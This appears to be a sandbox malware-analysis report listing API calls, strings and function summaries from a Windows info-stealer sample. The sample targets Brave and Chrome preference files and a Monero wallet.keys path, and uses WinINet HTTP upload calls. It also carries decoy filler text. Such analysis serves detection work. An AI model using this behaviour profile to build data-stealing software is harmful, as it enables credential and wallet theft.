GetProcAddress.KERNEL32(74DD0000,01309048), ref: 005898A1
GetProcAddress.KERNEL32(74DD0000,013090A8), ref: 005898BA
GetProcAddress.KERNEL32(74DD0000,013090F0), ref: 005898D2
GetProcAddress.KERNEL32(74DD0000,013090C0), ref: 005898EA
GetProcAddress.KERNEL32(74DD0000,01308FE8), ref: 00589903
GetProcAddress.KERNEL32(74DD0000,01309280), ref: 0058991B
GetProcAddress.KERNEL32(74DD0000,012F4000), ref: 00589933
GetProcAddress.KERNEL32(74DD0000,012F3E80), ref: 0058994C
GetProcAddress.KERNEL32(74DD0000,01309060), ref: 00589964
GetProcAddress.KERNEL32(74DD0000,013090D8), ref: 0058997C
GetProcAddress.KERNEL32(74DD0000,01309108), ref: 00589995
GetProcAddress.KERNEL32(74DD0000,01308FB8), ref: 005899AD
GetProcAddress.KERNEL32(74DD0000,012F3EC0), ref: 005899C5
GetProcAddress.KERNEL32(74DD0000,01309120), ref: 005899DE
GetProcAddress.KERNEL32(74DD0000,01309138), ref: 005899F6
GetProcAddress.KERNEL32(74DD0000,012F4040), ref: 00589A0E
GetProcAddress.KERNEL32(74DD0000,01308FD0), ref: 00589A27
GetProcAddress.KERNEL32(74DD0000,01308F70), ref: 00589A3F
GetProcAddress.KERNEL32(74DD0000,012F3DA0), ref: 00589A57
GetProcAddress.KERNEL32(74DD0000,01308F88), ref: 00589A70
GetProcAddress.KERNEL32(74DD0000,012F3FA0), ref: 00589A88
LoadLibraryA.KERNEL32(01308FA0,?,00586A00), ref: 00589A9A
LoadLibraryA.KERNEL32(013099E0,?,00586A00), ref: 00589AAB
LoadLibraryA.KERNEL32(01309B00,?,00586A00), ref: 00589ABD
LoadLibraryA.KERNEL32(013099C8,?,00586A00), ref: 00589ACF
LoadLibraryA.KERNEL32(01309A10,?,00586A00), ref: 00589AE0
GetProcAddress.KERNEL32(75A70000,013099B0), ref: 00589B02
GetProcAddress.KERNEL32(75290000,01309B30), ref: 00589B23
GetProcAddress.KERNEL32(75290000,01309B48), ref: 00589B3B
GetProcAddress.KERNEL32(75BD0000,01309B18), ref: 00589B5D
GetProcAddress.KERNEL32(75450000,012F3DC0), ref: 00589B7E
GetProcAddress.KERNEL32(76E90000,01309220), ref: 00589B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00589BB6

Strings

NtQueryInformationProcess, xrefs: 00589BAA

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: b6b232ee4a7afac05c3fca2895144fbe0354699e5c5071325f5f7f99cb60dbd8
Instruction ID: cf0a4d75e3f3ca63b0b360282ab6d4a58d3abc02a799bd9c4b8e4d41420a7941
Opcode Fuzzy Hash: b6b232ee4a7afac05c3fca2895144fbe0354699e5c5071325f5f7f99cb60dbd8
Instruction Fuzzy Hash: 5CA16AB5508240BFC345FFA8ED88F663BF9F798301754C71AA609C3624DA3E9841CB1A

Function 005745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0057460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0057479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0057473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0057474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0057471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005746CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0057477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005745C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005745DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005745D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0057462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0057466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005746D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005745E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005746B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005745F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00574713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005746C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0057475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005746AC

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: b8647bc45265b9cc3f4a0b208d873991ac03ea345b324b7171fd21216f471f74
Instruction ID: c29a482b5ba50ff7a0b3ad0e8158a3add6adc7ad434d37d40156b06fba87eadf
Opcode Fuzzy Hash: b8647bc45265b9cc3f4a0b208d873991ac03ea345b324b7171fd21216f471f74
Instruction Fuzzy Hash: 04414B297CA7047ACE27B7B4884EF9D7BB67F4A7C4F505142E82452392FBB065108F92

Function 0057BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

FindFirstFileA.KERNEL32(00000000,?,00590B32,00590B2B,00000000,?,?,?,005913F4,00590B2A), ref: 0057BEF5
StrCmpCA.SHLWAPI(?,005913F8), ref: 0057BF4D
StrCmpCA.SHLWAPI(?,005913FC), ref: 0057BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0057C7BF
FindClose.KERNEL32(000000FF), ref: 0057C7D1

Strings

\Brave\Preferences, xrefs: 0057C1DB
Brave, xrefs: 0057C102
Preferences, xrefs: 0057C11E
Google Chrome, xrefs: 0057C634

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 6afccddf8064615643e5e74ee72de4e7569c71c826b2970195d84b1af64df4d5
Instruction ID: 44e222366df78a7d6ae6c05365db1322ba0c017e4779ecdc8c6dff8b48c6d79e
Opcode Fuzzy Hash: 6afccddf8064615643e5e74ee72de4e7569c71c826b2970195d84b1af64df4d5
Instruction Fuzzy Hash: 6342577190010567EB14FB70DD9AEED7B7DBBC4300F408559F90AA6181EE38AB49DFA2

Function 00584910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0058492C
FindFirstFileA.KERNEL32(?,?), ref: 00584943
StrCmpCA.SHLWAPI(?,00590FDC), ref: 00584971
StrCmpCA.SHLWAPI(?,00590FE0), ref: 00584987
FindNextFileA.KERNEL32(000000FF,?), ref: 00584B7D
FindClose.KERNEL32(000000FF), ref: 00584B92

Strings

%s\%s, xrefs: 005849A4
%s\*, xrefs: 00584920
%s\%s, xrefs: 005849FB

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 108d864dd1bfc91e3e03dd42ecd19f72e1b872adf5c96d83b5356fdce94fa8c2
Instruction ID: f59c40c5297bd0de34bc7df93c1fecb34f41e5de706284800698af4eb3eda2eb
Opcode Fuzzy Hash: 108d864dd1bfc91e3e03dd42ecd19f72e1b872adf5c96d83b5356fdce94fa8c2
Instruction Fuzzy Hash: 946139B1900219BBCB24FBA0DC49FEA777CBB48701F048688F94996141EB75EB85CF95

Function 00574880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 005747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00574839
Part of subcall function 005747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00574849

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00574915
StrCmpCA.SHLWAPI(?,0130ED90), ref: 0057493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00574ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00590DDB,00000000,?,?,00000000,?,",00000000,?,0130EC70), ref: 00574DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00574E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00574E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00574E49
InternetCloseHandle.WININET(00000000), ref: 00574EAD
InternetCloseHandle.WININET(00000000), ref: 00574EC5
HttpOpenRequestA.WININET(00000000,0130ECB0,?,0130E870,00000000,00000000,00400100,00000000), ref: 00574B15

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

InternetCloseHandle.WININET(00000000), ref: 00574ECF

Strings

", xrefs: 00574D33
------, xrefs: 00574C69
", xrefs: 00574BF2
------, xrefs: 00574B28
------, xrefs: 005749BD

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
